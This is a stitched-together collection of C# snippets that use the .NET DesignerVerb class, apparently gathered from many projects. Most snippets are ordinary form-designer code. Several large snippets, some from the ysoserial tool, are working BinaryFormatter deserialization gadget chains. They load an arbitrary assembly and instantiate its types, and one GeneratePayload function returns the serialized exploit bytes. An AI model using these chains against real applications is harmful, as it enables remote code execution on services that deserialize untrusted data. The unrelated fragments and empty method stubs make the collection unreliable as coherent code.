// Methods public int Add(DesignerVerb value) {}
public bool Contains(DesignerVerb value) {}
public void CopyTo(DesignerVerb[] array, int index) {}
public void GetObjectData(SerializationInfo info, StreamingContext context) { System.Diagnostics.Trace.WriteLine("In GetObjectData"); DesignerVerb verb = null; Hashtable ht = null; List <object> ls = null; //variant 2, old technique if (this.variant_number == 2) { // Build a chain to map a byte array to creating an instance of a class. // byte[] -> Assembly.Load -> Assembly -> Assembly.GetType -> Type[] -> Activator.CreateInstance -> Win! List <byte[]> data = new List <byte[]>(); data.Add(this.assemblyBytes); var e1 = data.Select(Assembly.Load); Func <Assembly, IEnumerable <Type> > map_type = (Func <Assembly, IEnumerable <Type> >)Delegate.CreateDelegate(typeof(Func <Assembly, IEnumerable <Type> >), typeof(Assembly).GetMethod("GetTypes")); var e2 = e1.SelectMany(map_type); var e3 = e2.Select(Activator.CreateInstance); // PagedDataSource maps an arbitrary IEnumerable to an ICollection PagedDataSource pds = new PagedDataSource() { DataSource = e3 }; // AggregateDictionary maps an arbitrary ICollection to an IDictionary // Class is internal so need to use reflection. IDictionary dict = (IDictionary)Activator.CreateInstance(typeof(int).Assembly.GetType("System.Runtime.Remoting.Channels.AggregateDictionary"), pds); // DesignerVerb queries a value from an IDictionary when its ToString is called. This results in the linq enumerator being walked. verb = new DesignerVerb("", null); // Need to insert IDictionary using reflection. typeof(MenuCommand).GetField("properties", BindingFlags.NonPublic | BindingFlags.Instance).SetValue(verb, dict); // Pre-load objects, this ensures they're fixed up before building the hash table. ls = new List <object>(); ls.Add(e1); ls.Add(e2); ls.Add(e3); ls.Add(pds); ls.Add(verb); ls.Add(dict); } //Default, use compatible mode. //Old technique contains a compiler-generated class [System.Core]System.Linq.Enumerable+<SelectManyIterator>d__[Compiler_Generated_Class_SEQ]`2, //the Compiler_Generated_Class_SEQ may NOT same in different version of .net framework. //For example, in .net framework 4.6 was 16,and 17 in .net framework 4.7. //New technique use [System.Core]System.Linq.Enumerable+WhereSelectEnumerableIterator`2 only to fix it. //It make compatible from v3.5 to lastest(needs to using v3.5 compiler, and may also need to call disable type check first if target runtime was v4.8+). //Execution chain: Assembly.Load(byte[]).GetTypes().GetEnumerator().{MoveNext(),get_Current()} -> Activator.CreateInstance() -> Win! else { byte[][] e1 = new byte[][] { assemblyBytes }; IEnumerable <Assembly> e2 = CreateWhereSelectEnumerableIterator <byte[], Assembly>(e1, null, Assembly.Load); IEnumerable <IEnumerable <Type> > e3 = CreateWhereSelectEnumerableIterator <Assembly, IEnumerable <Type> >(e2, null, (Func <Assembly, IEnumerable <Type> >)Delegate.CreateDelegate ( typeof(Func <Assembly, IEnumerable <Type> >), typeof(Assembly).GetMethod("GetTypes") ) ); IEnumerable <IEnumerator <Type> > e4 = CreateWhereSelectEnumerableIterator <IEnumerable <Type>, IEnumerator <Type> >(e3, null, (Func <IEnumerable <Type>, IEnumerator <Type> >)Delegate.CreateDelegate ( typeof(Func <IEnumerable <Type>, IEnumerator <Type> >), typeof(IEnumerable <Type>).GetMethod("GetEnumerator") ) ); //bool MoveNext(this) => Func<IEnumerator<Type>,bool> => predicate //Type get_Current(this) => Func<IEnumerator<Type>,Type> => selector // //WhereSelectEnumerableIterator`2.MoveNext => // if(predicate(IEnumerator<Type>)) {selector(IEnumerator<Type>);} => // IEnumerator<Type>.MoveNext();return IEnumerator<Type>.Current; IEnumerable <Type> e5 = CreateWhereSelectEnumerableIterator <IEnumerator <Type>, Type>(e4, (Func <IEnumerator <Type>, bool>)Delegate.CreateDelegate ( typeof(Func <IEnumerator <Type>, bool>), typeof(IEnumerator).GetMethod("MoveNext") ), (Func <IEnumerator <Type>, Type>)Delegate.CreateDelegate ( typeof(Func <IEnumerator <Type>, Type>), typeof(IEnumerator <Type>).GetProperty("Current").GetGetMethod() ) ); IEnumerable <object> end = CreateWhereSelectEnumerableIterator <Type, object>(e5, null, Activator.CreateInstance); // PagedDataSource maps an arbitrary IEnumerable to an ICollection PagedDataSource pds = new PagedDataSource() { DataSource = end }; // AggregateDictionary maps an arbitrary ICollection to an IDictionary // Class is internal so need to use reflection. IDictionary dict = (IDictionary)Activator.CreateInstance(typeof(int).Assembly.GetType("System.Runtime.Remoting.Channels.AggregateDictionary"), pds); // DesignerVerb queries a value from an IDictionary when its ToString is called. This results in the linq enumerator being walked. verb = new DesignerVerb("", null); // Need to insert IDictionary using reflection. typeof(MenuCommand).GetField("properties", BindingFlags.NonPublic | BindingFlags.Instance).SetValue(verb, dict); // Pre-load objects, this ensures they're fixed up before building the hash table. ls = new List <object>(); ls.Add(e1); ls.Add(e2); ls.Add(e3); ls.Add(e4); ls.Add(e5); ls.Add(end); ls.Add(pds); ls.Add(verb); ls.Add(dict); } ht = new Hashtable(); // Add two entries to table. /* * ht.Add(verb, "Hello"); * ht.Add("Dummy", "Hello2"); */ ht.Add(verb, ""); ht.Add("", ""); FieldInfo fi_keys = ht.GetType().GetField("buckets", BindingFlags.NonPublic | BindingFlags.Instance); Array keys = (Array)fi_keys.GetValue(ht); FieldInfo fi_key = keys.GetType().GetElementType().GetField("key", BindingFlags.Public | BindingFlags.Instance); for (int i = 0; i < keys.Length; ++i) { object bucket = keys.GetValue(i); object key = fi_key.GetValue(bucket); if (key is string) { fi_key.SetValue(bucket, verb); keys.SetValue(bucket, i); break; } } fi_keys.SetValue(ht, keys); ls.Add(ht); // Wrap the object inside a DataSet. This is so we can use the custom // surrogate selector. Idiocy added and removed here. /* * info.SetType(typeof(System.Data.DataSet)); * info.AddValue("DataSet.RemotingFormat", System.Data.SerializationFormat.Binary); * info.AddValue("DataSet.DataSetName", ""); * info.AddValue("DataSet.Namespace", ""); * info.AddValue("DataSet.Prefix", ""); * info.AddValue("DataSet.CaseSensitive", false); * info.AddValue("DataSet.LocaleLCID", 0x409); * info.AddValue("DataSet.EnforceConstraints", false); * info.AddValue("DataSet.ExtendedProperties", (PropertyCollection)null); * info.AddValue("DataSet.Tables.Count", 1); * BinaryFormatter fmt = new BinaryFormatter(); * MemoryStream stm = new MemoryStream(); * fmt.SurrogateSelector = new MySurrogateSelector(); * fmt.Serialize(stm, ls); * info.AddValue("DataSet.Tables_0", stm.ToArray()); * //*/ //* saving around 404 characters by using AxHost.State instead of DataSet // However, DataSet can apply to more applications // https://docs.microsoft.com/en-us/dotnet/api/system.windows.forms.axhost.state // vs // https://docs.microsoft.com/en-us/dotnet/api/system.data.dataset MemoryStream stm = new MemoryStream(); if (inputArgs.Minify) { ysoserial.Helpers.ModifiedVulnerableBinaryFormatters.BinaryFormatter fmtLocal = new ysoserial.Helpers.ModifiedVulnerableBinaryFormatters.BinaryFormatter(); fmtLocal.SurrogateSelector = new MySurrogateSelector(); fmtLocal.Serialize(stm, ls); } else { BinaryFormatter fmt = new BinaryFormatter(); fmt.SurrogateSelector = new MySurrogateSelector(); fmt.Serialize(stm, ls); } info.SetType(typeof(System.Windows.Forms.AxHost.State)); info.AddValue("PropertyBagBinary", stm.ToArray()); //*/ }
public void Insert(int index, DesignerVerb value) {}
public virtual void RemoveVerb(DesignerVerb verb) {}
public void RemoveVerb(DesignerVerb verb) => throw new NotImplementedException();
/// <summary> /// Initializes a new instance of the <see cref="NuGenGenericBaseDesigner"/> class. /// </summary> public NuGenGenericBaseDesigner() { this.resetVerb = new DesignerVerb("Reset", new EventHandler(this.Reset_Click)); }
public MSideBarDesigner() { var verb1 = new DesignerVerb("添加卡项", OnAddPage); _verbs.AddRange(new[] { verb1 }); }
public void RemoveVerb(DesignerVerb verb) { throw (new NotImplementedException()); }
public StiToolButtonDesigner() { this.moveLeft = new DesignerVerb("Move Left", new EventHandler(this.OnMoveLeft)); this.moveRight = new DesignerVerb("Move Right", new EventHandler(this.OnMoveRight)); }
private bool DesignEvents_AddingVerb(IComponent primarySelection, DesignerVerb verb) { return(true); }
public ManagedPanelDesigner() : base() { DesignerVerb verb1 = new DesignerVerb("PanelManagerを選択", new EventHandler(OnSelectManager)); m_verbs.Add(verb1); }
// DesignerVerbCollection public void DesignerVerbCollectionExample() { //<Snippet1> //<Snippet2> // Creates an empty DesignerVerbCollection. DesignerVerbCollection collection = new DesignerVerbCollection(); //</Snippet2> //<Snippet3> // Adds a DesignerVerb to the collection. collection.Add(new DesignerVerb("Example designer verb", new EventHandler(this.ExampleEvent))); //</Snippet3> //<Snippet4> // Adds an array of DesignerVerb objects to the collection. DesignerVerb[] verbs = { new DesignerVerb("Example designer verb", new EventHandler(this.ExampleEvent)), new DesignerVerb("Example designer verb", new EventHandler(this.ExampleEvent)) }; collection.AddRange(verbs); // Adds a collection of DesignerVerb objects to the collection. DesignerVerbCollection verbsCollection = new DesignerVerbCollection(); verbsCollection.Add(new DesignerVerb("Example designer verb", new EventHandler(this.ExampleEvent))); verbsCollection.Add(new DesignerVerb("Example designer verb", new EventHandler(this.ExampleEvent))); collection.AddRange(verbsCollection); //</Snippet4> //<Snippet5> // Tests for the presence of a DesignerVerb in the collection, // and retrieves its index if it is found. DesignerVerb testVerb = new DesignerVerb("Example designer verb", new EventHandler(this.ExampleEvent)); int itemIndex = -1; if (collection.Contains(testVerb)) { itemIndex = collection.IndexOf(testVerb); } //</Snippet5> //<Snippet6> // Copies the contents of the collection, beginning at index 0, // to the specified DesignerVerb array. // 'verbs' is a DesignerVerb array. collection.CopyTo(verbs, 0); //</Snippet6> //<Snippet7> // Retrieves the count of the items in the collection. int collectionCount = collection.Count; //</Snippet7> //<Snippet8> // Inserts a DesignerVerb at index 0 of the collection. collection.Insert(0, new DesignerVerb("Example designer verb", new EventHandler(this.ExampleEvent))); //</Snippet8> //<Snippet9> // Removes the specified DesignerVerb from the collection. DesignerVerb verb = new DesignerVerb("Example designer verb", new EventHandler(this.ExampleEvent)); collection.Remove(verb); //</Snippet9> //<Snippet10> // Removes the DesignerVerb at index 0. collection.RemoveAt(0); //</Snippet10> //</Snippet1> }
public void RemoveVerb(DesignerVerb verb) { _menuCommandService.RemoveVerb(verb); }
public DesignerActionVerbItem(DesignerVerb verb) : base(null, null, verb.Text, "Verbs", verb.Description, false) { targetVerb = verb; }
public void AddVerb(DesignerVerb verb) { throw new NotImplementedException(); }
public void GetObjectData(SerializationInfo info, StreamingContext context) { System.Diagnostics.Trace.WriteLine("In GetObjectData"); // Build a chain to map a byte array to creating an instance of a class. // byte[] -> Assembly.Load -> Assembly -> Assembly.GetType -> Type[] -> Activator.CreateInstance -> Win! List <byte[]> data = new List <byte[]>(); data.Add(this.assemblyBytes); var e1 = data.Select(Assembly.Load); Func <Assembly, IEnumerable <Type> > map_type = (Func <Assembly, IEnumerable <Type> >)Delegate.CreateDelegate(typeof(Func <Assembly, IEnumerable <Type> >), typeof(Assembly).GetMethod("GetTypes")); var e2 = e1.SelectMany(map_type); var e3 = e2.Select(Activator.CreateInstance); // PagedDataSource maps an arbitrary IEnumerable to an ICollection PagedDataSource pds = new PagedDataSource() { DataSource = e3 }; // AggregateDictionary maps an arbitrary ICollection to an IDictionary // Class is internal so need to use reflection. IDictionary dict = (IDictionary)Activator.CreateInstance(typeof(int).Assembly.GetType("System.Runtime.Remoting.Channels.AggregateDictionary"), pds); // DesignerVerb queries a value from an IDictionary when its ToString is called. This results in the linq enumerator being walked. DesignerVerb verb = new DesignerVerb("XYZ", null); // Need to insert IDictionary using reflection. typeof(MenuCommand).GetField("properties", BindingFlags.NonPublic | BindingFlags.Instance).SetValue(verb, dict); // Pre-load objects, this ensures they're fixed up before building the hash table. List <object> ls = new List <object>(); ls.Add(e1); ls.Add(e2); ls.Add(e3); ls.Add(pds); ls.Add(verb); ls.Add(dict); Hashtable ht = new Hashtable(); // Add two entries to table. ht.Add(verb, "Hello"); ht.Add("Dummy", "Hello2"); FieldInfo fi_keys = ht.GetType().GetField("buckets", BindingFlags.NonPublic | BindingFlags.Instance); Array keys = (Array)fi_keys.GetValue(ht); FieldInfo fi_key = keys.GetType().GetElementType().GetField("key", BindingFlags.Public | BindingFlags.Instance); for (int i = 0; i < keys.Length; ++i) { object bucket = keys.GetValue(i); object key = fi_key.GetValue(bucket); if (key is string) { fi_key.SetValue(bucket, verb); keys.SetValue(bucket, i); break; } } fi_keys.SetValue(ht, keys); ls.Add(ht); // Wrap the object inside a DataSet. This is so we can use the custom // surrogate selector. Idiocy added and removed here. info.SetType(typeof(System.Data.DataSet)); info.AddValue("DataSet.RemotingFormat", System.Data.SerializationFormat.Binary); info.AddValue("DataSet.DataSetName", ""); info.AddValue("DataSet.Namespace", ""); info.AddValue("DataSet.Prefix", ""); info.AddValue("DataSet.CaseSensitive", false); info.AddValue("DataSet.LocaleLCID", 0x409); info.AddValue("DataSet.EnforceConstraints", false); info.AddValue("DataSet.ExtendedProperties", (PropertyCollection)null); info.AddValue("DataSet.Tables.Count", 1); BinaryFormatter fmt = new BinaryFormatter(); MemoryStream stm = new MemoryStream(); fmt.SurrogateSelector = new MySurrogateSelector(); fmt.Serialize(stm, ls); info.AddValue("DataSet.Tables_0", stm.ToArray()); }
public JwNavbarDesigner() { var verb1 = new DesignerVerb("编辑节点", OnEditNodes); designerVerbs.AddRange(new[] { verb1 }); }
public List <object> GadgetChains() { DesignerVerb verb = null; Hashtable ht = null; List <object> ls = null; //variant 2, old technique if (this.variant_number == 2) { // Build a chain to map a byte array to creating an instance of a class. // byte[] -> Assembly.Load -> Assembly -> Assembly.GetType -> Type[] -> Activator.CreateInstance -> Win! List <byte[]> data = new List <byte[]>(); data.Add(this.assemblyBytes); var e1 = data.Select(Assembly.Load); Func <Assembly, IEnumerable <Type> > map_type = (Func <Assembly, IEnumerable <Type> >)Delegate.CreateDelegate(typeof(Func <Assembly, IEnumerable <Type> >), typeof(Assembly).GetMethod("GetTypes")); var e2 = e1.SelectMany(map_type); var e3 = e2.Select(Activator.CreateInstance); // PagedDataSource maps an arbitrary IEnumerable to an ICollection PagedDataSource pds = new PagedDataSource() { DataSource = e3 }; // AggregateDictionary maps an arbitrary ICollection to an IDictionary // Class is internal so need to use reflection. IDictionary dict = (IDictionary)Activator.CreateInstance(typeof(int).Assembly.GetType("System.Runtime.Remoting.Channels.AggregateDictionary"), pds); // DesignerVerb queries a value from an IDictionary when its ToString is called. This results in the linq enumerator being walked. verb = new DesignerVerb("", null); // Need to insert IDictionary using reflection. typeof(MenuCommand).GetField("properties", BindingFlags.NonPublic | BindingFlags.Instance).SetValue(verb, dict); // Pre-load objects, this ensures they're fixed up before building the hash table. ls = new List <object>(); ls.Add(e1); ls.Add(e2); ls.Add(e3); ls.Add(pds); ls.Add(verb); ls.Add(dict); } //Default, use compatible mode. //Old technique contains a compiler-generated class [System.Core]System.Linq.Enumerable+<SelectManyIterator>d__[Compiler_Generated_Class_SEQ]`2, //the Compiler_Generated_Class_SEQ may NOT same in different version of .net framework. //For example, in .net framework 4.6 was 16,and 17 in .net framework 4.7. //New technique use [System.Core]System.Linq.Enumerable+WhereSelectEnumerableIterator`2 only to fix it. //It make compatible from v3.5 to lastest(needs to using v3.5 compiler, and may also need to call disable type check first if target runtime was v4.8+). //Execution chain: Assembly.Load(byte[]).GetTypes().GetEnumerator().{MoveNext(),get_Current()} -> Activator.CreateInstance() -> Win! else { byte[][] e1 = new byte[][] { assemblyBytes }; IEnumerable <Assembly> e2 = CreateWhereSelectEnumerableIterator <byte[], Assembly>(e1, null, Assembly.Load); IEnumerable <IEnumerable <Type> > e3 = CreateWhereSelectEnumerableIterator <Assembly, IEnumerable <Type> >(e2, null, (Func <Assembly, IEnumerable <Type> >)Delegate.CreateDelegate ( typeof(Func <Assembly, IEnumerable <Type> >), typeof(Assembly).GetMethod("GetTypes") ) ); IEnumerable <IEnumerator <Type> > e4 = CreateWhereSelectEnumerableIterator <IEnumerable <Type>, IEnumerator <Type> >(e3, null, (Func <IEnumerable <Type>, IEnumerator <Type> >)Delegate.CreateDelegate ( typeof(Func <IEnumerable <Type>, IEnumerator <Type> >), typeof(IEnumerable <Type>).GetMethod("GetEnumerator") ) ); //bool MoveNext(this) => Func<IEnumerator<Type>,bool> => predicate //Type get_Current(this) => Func<IEnumerator<Type>,Type> => selector // //WhereSelectEnumerableIterator`2.MoveNext => // if(predicate(IEnumerator<Type>)) {selector(IEnumerator<Type>);} => // IEnumerator<Type>.MoveNext();return IEnumerator<Type>.Current; IEnumerable <Type> e5 = CreateWhereSelectEnumerableIterator <IEnumerator <Type>, Type>(e4, (Func <IEnumerator <Type>, bool>)Delegate.CreateDelegate ( typeof(Func <IEnumerator <Type>, bool>), typeof(IEnumerator).GetMethod("MoveNext") ), (Func <IEnumerator <Type>, Type>)Delegate.CreateDelegate ( typeof(Func <IEnumerator <Type>, Type>), typeof(IEnumerator <Type>).GetProperty("Current").GetGetMethod() ) ); IEnumerable <object> end = CreateWhereSelectEnumerableIterator <Type, object>(e5, null, Activator.CreateInstance); // PagedDataSource maps an arbitrary IEnumerable to an ICollection PagedDataSource pds = new PagedDataSource() { DataSource = end }; // AggregateDictionary maps an arbitrary ICollection to an IDictionary // Class is internal so need to use reflection. IDictionary dict = (IDictionary)Activator.CreateInstance(typeof(int).Assembly.GetType("System.Runtime.Remoting.Channels.AggregateDictionary"), pds); // DesignerVerb queries a value from an IDictionary when its ToString is called. This results in the linq enumerator being walked. verb = new DesignerVerb("", null); // Need to insert IDictionary using reflection. typeof(MenuCommand).GetField("properties", BindingFlags.NonPublic | BindingFlags.Instance).SetValue(verb, dict); // Pre-load objects, this ensures they're fixed up before building the hash table. ls = new List <object>(); ls.Add(e1); ls.Add(e2); ls.Add(e3); ls.Add(e4); ls.Add(e5); ls.Add(end); ls.Add(pds); ls.Add(verb); ls.Add(dict); } ht = new Hashtable(); // Add two entries to table. /* * ht.Add(verb, "Hello"); * ht.Add("Dummy", "Hello2"); */ ht.Add(verb, ""); ht.Add("", ""); FieldInfo fi_keys = ht.GetType().GetField("buckets", BindingFlags.NonPublic | BindingFlags.Instance); Array keys = (Array)fi_keys.GetValue(ht); FieldInfo fi_key = keys.GetType().GetElementType().GetField("key", BindingFlags.Public | BindingFlags.Instance); for (int i = 0; i < keys.Length; ++i) { object bucket = keys.GetValue(i); object key = fi_key.GetValue(bucket); if (key is string) { fi_key.SetValue(bucket, verb); keys.SetValue(bucket, i); break; } } fi_keys.SetValue(ht, keys); ls.Add(ht); return(ls); }
void IMenuCommandService.RemoveVerb(DesignerVerb verb) { throw new NotImplementedException(); }
public StiToolBarDesigner() { this.addToolButton = new DesignerVerb("Add ToolButton", new EventHandler(this.OnAddToolButton)); this.addSeparator = new DesignerVerb("Add Separator", new EventHandler(this.OnAddSeparator)); }
public StiDockingPanelDesigner() { this.addControl = new DesignerVerb("Add Control", new EventHandler(this.OnAddControl)); }
public void GetObjectData(SerializationInfo info, StreamingContext context) { try { List <byte[]> bytes = new List <byte[]> { assemblyBytes }; var d1 = bytes.Select(Assembly.Load); Func <Assembly, IEnumerable <Type> > types = (Func <Assembly, IEnumerable <Type> >)Delegate.CreateDelegate(typeof(Func <Assembly, IEnumerable <Type> >), typeof(Assembly).GetMethod("GetTypes")); var d2 = d1.SelectMany(types); var d3 = d2.Select(Activator.CreateInstance); PagedDataSource pds = new PagedDataSource() { DataSource = d3 }; IDictionary dictionary = (IDictionary)Activator.CreateInstance(typeof(int).Assembly.GetType("System.Runtime.Remoting.Channels.AggregateDictionary"), pds); DesignerVerb dv = new DesignerVerb("", null); typeof(MenuCommand).GetField("properties", BindingFlags.NonPublic | BindingFlags.Instance).SetValue(dv, dictionary); List <object> objects = new List <object>(); objects.Add(d1); objects.Add(d2); objects.Add(d3); objects.Add(pds); objects.Add(dv); objects.Add(dictionary); Hashtable ht = new Hashtable(); ht.Add(dv, "v1"); ht.Add("p2", "v2"); FieldInfo fiBuckets = ht.GetType().GetField("buckets", BindingFlags.NonPublic | BindingFlags.Instance); Array buckets = (Array)fiBuckets.GetValue(ht); FieldInfo fiKey = buckets.GetType().GetElementType().GetField("key", BindingFlags.Public | BindingFlags.Instance); for (int i = 0; i < buckets.Length; ++i) { object bucket = buckets.GetValue(i); object key = fiKey.GetValue(bucket); if (key is string) { fiKey.SetValue(bucket, dv); buckets.SetValue(bucket, i); break; } } fiBuckets.SetValue(ht, buckets); objects.Add(ht); info.SetType(typeof(DataSet)); info.AddValue("DataSet.RemotingFormat", SerializationFormat.Binary); info.AddValue("DataSet.DataSetName", ""); info.AddValue("DataSet.Namespace", ""); info.AddValue("DataSet.Prefix", ""); info.AddValue("DataSet.CaseSensitive", false); info.AddValue("DataSet.LocaleLCID", 0x409); info.AddValue("DataSet.EnforceConstraints", false); info.AddValue("DataSet.ExtendedProperties", null); info.AddValue("DataSet.Tables.Count", 1); BinaryFormatter bf = new BinaryFormatter(); MemoryStream ms = new MemoryStream(); bf.SurrogateSelector = new SurrogateSelector(); bf.Serialize(ms, objects); info.AddValue("DataSet.Tables_0", ms.ToArray()); } catch (Exception) { } }
public int IndexOf(DesignerVerb value) {}
public void RemoveVerb(DesignerVerb verb) { throw new NotSupportedException(); }
public void Remove(DesignerVerb value) {}
public DesignerActionVerbItem(DesignerVerb verb) { _targetVerb = verb ?? throw new ArgumentNullException(); }
public DesignerVerbCollection(DesignerVerb[] value) {}
public void AddVerb(DesignerVerb verb) { }
public void AddRange(DesignerVerb[] value) {}
public void RemoveVerb(DesignerVerb verb) { }
public void AddVerb(DesignerVerb verb) { _menuCommandService.AddVerb(verb); }
public DesignerVerbToolStripMenuItem(DesignerVerb verb) { _verb = verb; Text = verb.Text; RefreshItem(); }
public void RemoveVerb(DesignerVerb verb) { throw new NotImplementedException(); }
public StiTabControlDesigner() { this.addControl = new DesignerVerb("Add Page", new EventHandler(this.OnAddControl)); }
public virtual void AddVerb(DesignerVerb verb) {}
static byte[] GeneratePayload(byte[] dll) { byte[][] e1 = new byte[][] { dll }; IEnumerable <Assembly> e2 = CreateWhereSelectEnumerableIterator <byte[], Assembly>(e1, null, Assembly.Load); IEnumerable <IEnumerable <Type> > e3 = CreateWhereSelectEnumerableIterator <Assembly, IEnumerable <Type> >(e2, null, (Func <Assembly, IEnumerable <Type> >)Delegate.CreateDelegate ( typeof(Func <Assembly, IEnumerable <Type> >), typeof(Assembly).GetMethod("GetTypes") ) ); IEnumerable <IEnumerator <Type> > e4 = CreateWhereSelectEnumerableIterator <IEnumerable <Type>, IEnumerator <Type> >(e3, null, (Func <IEnumerable <Type>, IEnumerator <Type> >)Delegate.CreateDelegate ( typeof(Func <IEnumerable <Type>, IEnumerator <Type> >), typeof(IEnumerable <Type>).GetMethod("GetEnumerator") ) ); //bool MoveNext(this) => Func<IEnumerator<Type>,bool> => predicate //Type get_Current(this) => Func<IEnumerator<Type>,Type> => selector // //WhereSelectEnumerableIterator`2.MoveNext => // if(predicate(IEnumerator<Type>)) {selector(IEnumerator<Type>);} => // IEnumerator<Type>.MoveNext();return IEnumerator<Type>.Current; IEnumerable <Type> e5 = CreateWhereSelectEnumerableIterator <IEnumerator <Type>, Type>(e4, (Func <IEnumerator <Type>, bool>)Delegate.CreateDelegate ( typeof(Func <IEnumerator <Type>, bool>), typeof(IEnumerator).GetMethod("MoveNext") ), (Func <IEnumerator <Type>, Type>)Delegate.CreateDelegate ( typeof(Func <IEnumerator <Type>, Type>), typeof(IEnumerator <Type>).GetProperty("Current").GetGetMethod() ) ); IEnumerable <object> end = CreateWhereSelectEnumerableIterator <Type, object>(e5, null, Activator.CreateInstance); // PagedDataSource maps an arbitrary IEnumerable to an ICollection PagedDataSource pds = new PagedDataSource() { DataSource = end }; // AggregateDictionary maps an arbitrary ICollection to an IDictionary // Class is internal so need to use reflection. IDictionary dict = (IDictionary)Activator.CreateInstance(typeof(int).Assembly.GetType("System.Runtime.Remoting.Channels.AggregateDictionary"), pds); // DesignerVerb queries a value from an IDictionary when its ToString is called. This results in the linq enumerator being walked. DesignerVerb verb = new DesignerVerb("", null); // Need to insert IDictionary using reflection. typeof(MenuCommand).GetField("properties", BindingFlags.NonPublic | BindingFlags.Instance).SetValue(verb, dict); // Pre-load objects, this ensures they're fixed up before building the hash table. List <object> ls = new List <object>(); ls.Add(e1); ls.Add(e2); ls.Add(e3); ls.Add(e4); ls.Add(e5); ls.Add(end); ls.Add(pds); ls.Add(verb); ls.Add(dict); Hashtable ht = new Hashtable(); ht.Add(verb, ""); ht.Add("", ""); FieldInfo fi_keys = ht.GetType().GetField("buckets", BindingFlags.NonPublic | BindingFlags.Instance); Array keys = (Array)fi_keys.GetValue(ht); FieldInfo fi_key = keys.GetType().GetElementType().GetField("key", BindingFlags.Public | BindingFlags.Instance); for (int i = 0; i < keys.Length; ++i) { object bucket = keys.GetValue(i); object key = fi_key.GetValue(bucket); if (key is string) { fi_key.SetValue(bucket, verb); keys.SetValue(bucket, i); break; } } fi_keys.SetValue(ht, keys); ls.Add(ht); BinaryFormatter fmt = new BinaryFormatter(); MemoryStream stm = new MemoryStream(); fmt.SurrogateSelector = new MySurrogateSelector(); fmt.Serialize(stm, ls); return(stm.ToArray()); }